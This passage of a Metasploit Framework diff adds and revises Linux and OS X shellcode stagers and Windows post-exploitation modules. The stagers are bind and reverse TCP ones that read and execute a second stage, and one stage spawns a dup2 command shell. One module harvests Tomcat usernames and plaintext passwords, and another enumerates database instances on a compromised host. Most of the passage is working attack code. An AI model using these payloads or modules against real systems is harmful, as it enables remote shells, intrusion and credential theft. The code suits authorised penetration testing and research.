'Description' => 'Listen for a connection',
'Author' => 'skape',
'Author' => [
'skape', # original
'egypt', # NX support
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
@ -41,13 +44,52 @@ module Metasploit3
{
'Offsets' =>
{
'LPORT' => [ 0x14, 'n' ],
'LPORT' => [ 0x29, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x99\x89\xe1\xcd\x80\x96" +
"\x43\x52\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x56" +
"\x89\xe1\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x43\x89\xe1" +
"\xb0\x66\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x89\xdf\xff\xe1"
"\x6a\x7d" +# push byte +0x7d
"\x58" +# pop eax
"\x99" +# cdq
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\x66\x81\xe3\x00\xf0" +# and bx,0xf000
"\xcd\x80" +# int 0x80
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\x89\xe1" +# mov ecx,esp
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x5e" +# pop esi
"\x52" +# push edx
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x6a\x10" +# push byte +0x10
"\x51" +# push ecx
"\x50" +# push eax
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\xcd\x80" +# int 0x80
"\xd1\xe3" +# shl ebx,1
"\xb0\x66" +# mov al,0x66
"\xcd\x80" +# int 0x80
"\x43" +# inc ebx
"\xb0\x66" +# mov al,0x66
"\x89\x51\x04" +# mov [ecx+0x4],edx
"\xcd\x80" +# int 0x80
"\x93" +# xchg eax,ebx
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\x89\xdf" +# mov edi,ebx
"\xff\xe1" # jmp ecx
}
))
end

View File

@ -0,0 +1,60 @@
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
###
#
# ReverseTcp
# ----------
#
# Linux reverse TCP stager.
#
###
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Linux
def self.handler_type_alias
"reverse_nonx_tcp"
end
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Version' => '$Revision$',
'Description' => 'Connect back to the attacker',
'Author' => 'skape',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Stager' =>
{
'Offsets' =>
{
'LHOST' => [ 0x11, 'ADDR' ],
'LPORT' => [ 0x17, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b" +
"\x68\x7f\x00\x00\x01\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58" +
"\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80" +
"\xff\xe1"
}
))
end
end

View File

@ -32,7 +32,10 @@ module Metasploit3
'Name' => 'Reverse TCP Stager',
'Version' => '$Revision$',
'Description' => 'Connect back to the attacker',
'Author' => 'skape',
'Author' => [
'skape', # original
'egypt', # NX support
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_X86,
@ -41,14 +44,48 @@ module Metasploit3
{
'Offsets' =>
{
'LHOST' => [ 0x11, 'ADDR' ],
'LPORT' => [ 0x17, 'n' ],
'LHOST' => [ 0x12, 'ADDR' ],
'LPORT' => [ 0x19, 'n' ],
},
'Payload' =>
"\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b" +
"\x68\x7f\x00\x00\x01\x66\x68\xbf\xbf\x66\x53\x89\xe1\x6a\x66\x58" +
"\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80" +
"\xff\xe1"
"\x31\xdb" +# xor ebx,ebx
"\xf7\xe3" +# mul ebx
"\x53" +# push ebx
"\x43" +# inc ebx
"\x53" +# push ebx
"\x6a\x02" +# push byte +0x2
"\xb0\x66" +# mov al,0x66
"\x89\xe1" +# mov ecx,esp
"\xcd\x80" +# int 0x80
"\x97" +# xchg eax,edi
"\x5b" +# pop ebx
"\x68\x7f\x00\x00\x01" +# push dword 0x100007f
"\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002
"\x89\xe1" +# mov ecx,esp
"\x6a\x66" +# push byte +0x66
"\x58" +# pop eax
"\x50" +# push eax
"\x51" +# push ecx
"\x57" +# push edi
"\x89\xe1" +# mov ecx,esp
"\x43" +# inc ebx
"\xcd\x80" +# int 0x80
"\xb2\x07" +# mov dl,0x7
"\xb9\x00\x10\x00\x00" +# mov ecx,0x1000
"\x89\xe3" +# mov ebx,esp
"\xc1\xeb\x0c" +# shr ebx,0xc
"\xc1\xe3\x0c" +# shl ebx,0xc
"\xb0\x7d" +# mov al,0x7d
"\xcd\x80" +# int 0x80
"\x5b" +# pop ebx
"\x89\xe1" +# mov ecx,esp
"\x99" +# cdq
"\xb6\x0c" +# mov dh,0xc
"\xb0\x03" +# mov al,0x3
"\xcd\x80" +# int 0x80
"\xff\xe1" # jmp ecx
}
))
end

View File

@ -0,0 +1,101 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/bind_tcp'
module Metasploit3
include Msf::Payload::Stager
def initialize(info = { })
super(merge_info(info,
'Name' => 'Bind TCP Stager',
'Version' => '$Revision$',
'Description' => 'Listen, read length, read buffer, execute',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::BindTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' => { 'LPORT' => [ 31, 'n'] },
'Payload' =>
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
"\x6A\x02" + # push byte +0x2
"\x5F" + # pop rdi
"\x6A\x01" + # push byte +0x1
"\x5E" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push byte +0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
"\x48\x31\xF6" + # xor rsi,rsi
"\x48\xFF\xC6" + # inc rsi
"\x49\x89\xFC" + # mov r12,rdi
"\x0F\x05" + # loadall286
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
"\x4C\x89\xE7" + # mov rdi,r12
"\x48\x89\xE6" + # mov rsi,rsp
"\x48\x89\xE2" + # mov rdx,rsp
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
"\x0F\x05" + # loadall286
"\x49\x89\xC5" + # mov r13,rax
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x48\x31\xC9" + # xor rcx,rcx
"\x51" + # push rcx
"\x48\x89\xE6" + # mov rsi,rsp
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\x0F\x05" + # loadall286
"\x41\x5B" + # pop r11
"\x4C\x89\xDE" + # mov rsi,r11
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
"\x48\x31\xFF" + # xor rdi,rdi
"\x48\xFF\xCF" + # dec rdi
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
"\x49\x89\xF8" + # mov r8,rdi
"\x4D\x31\xC9" + # xor r9,r9
"\x0F\x05" + # loadall286
"\x48\x89\xC6" + # mov rsi,rax
"\x56" + # push rsi
"\x4C\x89\xEF" + # mov rdi,r13
"\x48\x31\xC9" + # xor rcx,rcx
"\x4C\x89\xDA" + # mov rdx,r11
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x58" + # pop rax
"\xFF\xD0" # call rax
}
))
end
def handle_intermediate_stage(conn, p)
#
# Our stager payload expects to see a next-stage length first.
#
conn.put([p.length].pack('V'))
end
end

View File

@ -0,0 +1,57 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Metasploit3
include Msf::Payload::Stager
def initialize(info = { })
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Version' => '$Revision$',
'Description' => 'Connect, read length, read buffer, execute',
'Author' => 'nemo <nemo[at]felinemenace.org>',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'Offsets' =>
{
'LHOST' => [ 37, 'ADDR'],
'LPORT' => [ 35, 'n']
},
'Payload' =>
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
}
))
end
def handle_intermediate_stage(conn, p)
#
# Our stager payload expects to see a next-stage length first.
#
conn.put([p.length].pack('V'))
end
end

View File

@ -0,0 +1,38 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'OS X dup2 Command Shell',
'Version' => '$Revision$',
'Description' => 'dup2 socket in edi, then execve',
'Author' => 'nemo',
'License' => MSF_LICENSE,
'Platform' => 'osx',
'Arch' => ARCH_X86_64,
'Session' => Msf::Sessions::CommandShell,
'Stage' =>
{
'Payload' =>
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
"\x52\x57\x48\x89\xe6\x0f\x05"
}
))
end
end

View File

@ -13,6 +13,7 @@ require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/unix'
require 'sshkey'
class Metasploit3 < Msf::Post

View File

@ -62,7 +62,8 @@ class Metasploit3 < Msf::Post
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ },
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x97d3, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x9878, :os => /Windows XP.*Service Pack 3 - spanish/ }
]
unsupported if client.platform !~ /win32|win64/i

View File

@ -0,0 +1,353 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'rex'
require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Database Instance Enumeration',
'Description' => %q{ This module will enumerate a windows system for installed database instances },
'License' => MSF_LICENSE,
'Author' => [
'Barry Shteiman <barry[at]sectorix.com>', # Module author
'juan vazquez' # minor help
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
# method called when command run is issued
def run
results = []
print_status("Enumerating Databases on #{sysinfo['Computer']}")
if check_mssql
results += enumerate_mssql
end
if check_oracle
results += enumerate_oracle
end
if check_db2
results += enumerate_db2
end
if check_mysql
results += enumerate_mysql
end
if check_sybase
results += enumerate_sybase
end
if results.empty?
print_status("Done, No Databases were found")
return
end
print_status("Done, Databases Found.")
tbl = Rex::Ui::Text::Table.new(
'Header' => "Installed Databases",
'Indent' => 1,
'Columns' =>
[
"Type",
"Instance",
"Database",
"Port"
])
results.each { |r|
report_service(:host => session.sock.peerhost, :port => r[3], :name => r[0], :info => "#{r[0]}, #{r[1]}")
tbl << r
}
print_line(tbl.to_s)
p = store_loot("host.databases", "text/plain", session, tbl.to_s, "databases.txt", "Running Databases")
print_status("Results stored in: #{p}")
end
##### initial identification methods #####
# method for Checking if database instances are installed on host - mssql
def check_mssql
key = "HKLM\\SOFTWARE\\Microsoft"
if registry_enumkeys(key).include?("Microsoft SQL Server")
print_status("\tMicrosoft SQL Server found.")
return true
end
return false
rescue
return false
end
# method for Checking if database instances are installed on host - oracle
def check_oracle
key = "HKLM\\SOFTWARE\\Oracle"
if registry_enumkeys(key).include?("ALL_HOMES")
print_status("\tOracle Server found.")
return true
elsif registry_enumkeys(key).include?("SYSMAN")
print_status("\tOracle Server found.")
return true
elsif registry_enumkeys(key).include?("KEY_XE")
print_status("\tOracle Server found.")
return true
end
return false
rescue
return false
end
# method for Checking if database instances are installed on host - db2
def check_db2
key = "HKLM\\SOFTWARE\\IBM\\DB2"
if registry_enumkeys(key).include?("GLOBAL_PROFILE")
print_status("\tDB2 Server found.")
return true
end
return false
rescue
return false
end
# method for Checking if database instances are installed on host - mysql
def check_mysql
key = "HKLM\\SOFTWARE"
if registry_enumkeys(key).include?("MySQL AB")
print_status("\tMySQL Server found.")
return true
end
return false
rescue
return false
end
# method for Checking if database instances are installed on host - sybase
def check_sybase
key = "HKLM\\SOFTWARE\\Sybase"
if registry_enumkeys(key).include?("SQLServer")
print_status("\tSybase Server found.")
return true
elsif registry_enumkeys(key).include?("Server")
print_status("\tSybase Server found.")
return true
end
return false
rescue
return false
end
##### deep analysis methods #####
# method to identify mssql instances
def enumerate_mssql
results = []
key = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL"
instances = registry_enumvals(key)
if not instances.nil? and not instances.empty?
instances.each do |i|
tcpkey = "HKLM\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\#{registry_getvaldata(key,i)}\\MSSQLServer\\SuperSocketNetLib\\Tcp\\IPAll"
tcpport = registry_getvaldata(tcpkey,"TcpPort")
print_good("\t\t+ #{registry_getvaldata(key,i)} (Port:#{tcpport})")
results << ["mssql","instance:#{registry_getvaldata(key,i)} port:#{tcpport}","Microsoft SQL Server",tcpport]
end
end
return results
rescue
print_error("\t\t! could not identify information")
return results || []
end
# method to identify oracle instances
def enumerate_oracle
results = []
found_key = false
basekey_set = ["HKLM\\SOFTWARE\\Oracle\\SYSMAN","HKLM\\SOFTWARE\\ORACLE\\KEY_XE"]
basekey_set.each do |basekey|
next if found_key
instances = registry_enumkeys(basekey)
if instances.nil? or instances.empty?
next
else
found_key = true
end
instances.each do |i|
if basekey.include?"KEY_XE"
val_ORACLE_SID = registry_getvaldata(basekey,"ORACLE_SID")
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
else
key = "#{basekey}\\#{i}"
val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID")
val_ORACLE_HOME = registry_getvaldata(key,"ORACLE_HOME")
end
if not exist?(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
next
end
data_TNSNAMES = read_file(val_ORACLE_HOME + "\\NETWORK\\ADMIN\\tnsnames.ora")
if data_TNSNAMES =~ /PORT\ \=\ (\d+)/
port = $1
print_good("\t\t+ #{val_ORACLE_SID} (Port:#{port})")
results << [ "oracle","instance:#{val_ORACLE_SID} port:#{port}","Oracle Database Server",port ]
else
print_error("\t\t! #{val_ORACLE_SID} (No Listener Found)")
end
end
end
if not found_key
print_error("\t\t! Oracle instances not found")
end
return results
rescue
print_error("\t\t! could not identify information")
return results || []
end
# method to identify mysql instances
def enumerate_mysql
results = []
basekey = "HKLM\\SOFTWARE\\MySQL AB"
instances = registry_enumkeys(basekey)
if instances.nil? or instances.empty?
return results
end
instances.each do |i|
key = "#{basekey}\\#{i}"
val_location = registry_getvaldata(key,"Location")
data = find_mysql_conf(val_location)
if data and data =~ /port\=(\d+)/
port = $1
print_good("\t\t+ MYSQL (Port:#{port})")
results << ["mysql","instance:MYSQL port:#{port}","MySQL Server",port]
else
print_error("\t\t! could not identify information")
end
end
return results
rescue
print_error("\t\t! could not identify information")
return results || []
end
# method to identify sybase instances
def enumerate_sybase
basekey = "HKLM\\SOFTWARE\\Sybase\\SQLServer"
instance = registry_getvaldata(basekey,"DSLISTEN")
location = registry_getvaldata(basekey,"RootDir")
results = []
if not exist?(location + "\\ini\\sql.ini")
print_error("\t\t! could not locate configuration file.")
return results
end
data = read_file(location + "\\ini\\sql.ini")
if data =~ /\[#{instance}\]([^\[]*)/
segment = $1
else
print_error("\t\t! couldnt locate information.")
return results
end
if segment =~ /master\=\w+\,[^\,]+\,(\d+)/
port = $1
else
print_error("\t\t! couldnt locate information.")
return results
end
print_good("\t\t+ #{instance} (Port:#{port})")
results << [ "sybase","instance:#{instance} port:#{port}","Sybase SQL Server",port ]
return results
rescue
print_error("\t\t! couldnt locate information.")
return results || []
end
# method to identify db2 instances
def enumerate_db2
results = []
cmd_i = cmd_exec("db2cmd", "-i -w /c db2ilist")
cmd_p = cmd_exec("db2cmd", "-i -w /c db2 get dbm cfg")
if cmd_p =~ /\ ?TCP\/IP\ Service\ name[\ ]+\(SVCENAME\)\ =\ (\w+)/
port = $1
else
print_error("\t\t! could not identify instances information")
return results
end
windir = session.fs.file.expand_path("%windir%")
getfile = session.fs.file.search(windir + "\\system32\\drivers\\etc\\","services.*",recurse=true,timeout=-1)
data = nil
getfile.each do |file|
if exist?("#{file['path']}\\#{file['name']}")
data = read_file("#{file['path']}\\#{file['name']}")
break if not data.nil?
end
end
if data and data =~ /#{port}[\ \t]+(\d+)/
port_t = $1
else
print_error("\t\t! could not identify instances information")
return results
end
cmd_i.split("\n").compact.each do |line|
stripped=line.strip
print_good("\t\t+ #{stripped} (Port:#{port_t})")
results << [ "db2","instance:#{stripped} port:#{port_t}","DB2 Server",port_t ]
end
return results
rescue
print_error("\t\t! could not identify instances information")
return results || []
end
##### helper methods #####
def find_mysql_conf(val_location)
data = nil
if exist?(val_location + "\\my.ini")
data = read_file(val_location + "\\my.ini")
elsif exist?(val_location + "\\my.cnf")
data = read_file(val_location + "\\my.cnf")
else
sysdriv=session.fs.file.expand_path("%SYSTEMDRIVE%")
getfile = session.fs.file.search(sysdriv + "\\","my.ini",recurse=true,timeout=-1)
getfile.each do |file|
if exist?("#{file['path']}\\#{file['name']}")
data = read_file("#{file['path']}\\#{file['name']}")
break
end
end
end
return data
end
end

View File

@ -0,0 +1,241 @@
##
# ## This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'rex'
require 'rexml/document'
require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::File
include Msf::Post::Common
include Msf::Post::Windows::Registry
include Msf::Auxiliary::Report
def initialize(info={})
super( update_info( info,
'Name' => 'Windows Gather Tomcat Server Enumeration',
'Description' => %q{ This module will enumerate a windows system for tomcat servers},
'License' => MSF_LICENSE,
'Author' => [
'Barry Shteiman <barry[at]sectorix.com>', # Module author
],
'Platform' => [ 'windows' ],
'SessionTypes' => [ 'meterpreter' ]
))
end
# method called when command run is issued
def run
installs = []
results = []
users = []
print_status("Enumerating Tomcat Servers on #{sysinfo['Computer']}")
if check_tomcat
installs += identify_registry
if not installs.empty?
installs.each do |inst|
results += enumerate_tomcat(inst[0],inst[1])
users += enumerate_tomcat_creds(inst[0])
end
else
print_status("Done, Tomcat Not Found")
return
end
end
if results.empty?
print_status("Done, Tomcat Not Found")
return
end
print_status("Done, Tomcat Found.")
tbl_services = Rex::Ui::Text::Table.new(
'Header' => "Tomcat Applications ",
'Indent' => 1,
'Columns' =>
[
"Host",
"Tomcat Version",
"Port",
"Web Application"
])
results.each { |r|
report_service(:host => session.sock.peerhost, :port => r[2], :name => "http", :info => "#{r[0]} Tomcat #{r[1]}, Application:#{r[3]}")
tbl_services << r
}
tbl_users = Rex::Ui::Text::Table.new(
'Header' => "Tomcat Server Users ",
'Indent' => 1,
'Columns' =>
[
"Host",
"User",
"Password",
"Roles"
])
users.each { |u|
tbl_users << [ session.sock.peerhost,u[0],u[1],u[2] ]
}
print_line()
print_line(tbl_services.to_s)
print_line(tbl_users.to_s)
p = store_loot("host.webservers.tomcat", "text/plain", session, tbl_services.to_s + "\n" + tbl_users.to_s, "tomcat.txt", "Tomcat Server Enum")
print_status("Results stored in: #{p}")
end
### initial identification methods ###
# method for checking if webserver is installed on server - tomcat
def check_tomcat
key = "HKLM\\SOFTWARE\\Apache Software Foundation"
if registry_enumkeys(key).include?("Tomcat")
print_status("\tTomcat found.")
return true
end
return false
rescue
return false
end
### deep server enumeration methods ###
# enumerate tomcat
def enumerate_tomcat(val_installpath,val_version)
results = []
found = false
print_good("\t\t+ Version: #{val_version}")
print_good("\t\t+ Path: #{val_installpath}")
if not exist?(val_installpath + "\\conf\\server.xml")
print_error("\t\t! tomcat configuration not found")
return results
end
appname = find_application_name(val_installpath)
ports = []
xml_data = read_file(val_installpath + "\\conf\\server.xml")
doc = REXML::Document.new(xml_data)
doc.elements.each('Server/Service/Connector') do |e|
ports << e.attributes['port']
end
ports.uniq.each do |p|
print_good("\t\t+ Port: #{p}")
found = true
results << [session.sock.peerhost,"#{val_version}",p,appname]
end
if found
print_good("\t\t+ Application: [#{appname}]")
else
print_error("\t\t! port not found")
end
return results
rescue
print_error("\t\t! could not identify information")
return results || []
end
# enumerate tomcat users from its user base
def enumerate_tomcat_creds(val_installpath)
users = []
userpath = val_installpath + "\\conf\\tomcat-users.xml"
if exist?(userpath)
xml_data = read_file(userpath)
doc = REXML::Document.new(xml_data)
if not doc.elements.empty?
doc.elements.each('tomcat-users/user') do |e|
e_user=e.attributes['name']
if e_user.length >0
e_user=e.attributes['name']
else
e.user=e_user=e.attributes['username']
end
users << [ e_user,e.attributes['password'],e.attributes['roles'] ]
print_good("\t\t+ User:[#{e_user}] Pass:[#{e.attributes['password']}] Roles:[#{e.attributes['roles']}]")
end
else
print_error("\t\t! No Users Found")
return users
end
end
return users
rescue
print_error("\t\t! could not identify users")
return users || []
end
### helper functions ###
#this method identifies the correct registry path to tomcat details, and returns [path,version]
def identify_registry
values = []
basekey = "HKLM\\SOFTWARE\\Apache Software Foundation\\Tomcat"
instances = registry_enumkeys(basekey)
if not instances.nil? and not instances.empty?
instances.each do |i|
major_version_key = "#{basekey}\\#{i}"
services = registry_enumkeys(major_version_key)
if services.empty?
val_installpath = registry_getvaldata(major_version_key,"InstallPath")
val_version = registry_getvaldata(major_version_key,"Version")
values << [val_installpath,val_version]
else
services.each do |s|
service_key = "#{major_version_key}\\#{s}"
val_installpath = registry_getvaldata(service_key,"InstallPath")
val_version = registry_getvaldata(service_key,"Version")
values << [val_installpath,val_version]
end
end
end
end
return values
rescue
print_error("\t\t! failed to locate install path")
return nil || []
end
#this function extracts the application name from the main page of the web application
def find_application_name(val_installpath)
index_file = ['index.html','index.htm','index.php','index.jsp','index.asp']
path = val_installpath + "\\webapps"
if not directory?(path + "\\ROOT")
print_error("\t\t! expected directory wasnt found")
return "Unknown"
end
index_file.each do |i|
if not exist?("#{path}\\ROOT\\#{i}")
next
end
data = read_file(path + "\\ROOT\\#{i}")
if data =~ /(?i)<title>([^<]+)<\/title>/
return $1
else
#look for redirect as name
if data =~ /(?i)onload=\"?document\.location\=['"]?([\/\w\d]+)['"]?\"?/
return $1.gsub("/","")
end
end
end
return "Unknown"
rescue
print_error("\t\t! could not identify application name")
return "Unknown"
end
end

35
tools/module_payloads.rb Executable file
View File

@ -0,0 +1,35 @@
#!/usr/bin/env ruby
#
# $Id$
#
# This script lists each exploit module by its compatible payloads
#
# $Revision$
#
msfbase = __FILE__
while File.symlink?(msfbase)
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
end
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
require 'fastlib'
require 'msfenv'
$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB']
require 'rex'
require 'msf/ui'
require 'msf/base'
# Initialize the simplified framework instance.
$framework = Msf::Simple::Framework.create('DisableDatabase' => true)
$framework.exploits.each_module { |name, mod|
x = mod.new
x.compatible_payloads.map{|n, m|
puts "#{x.refname.ljust 40} - #{n}"
}
}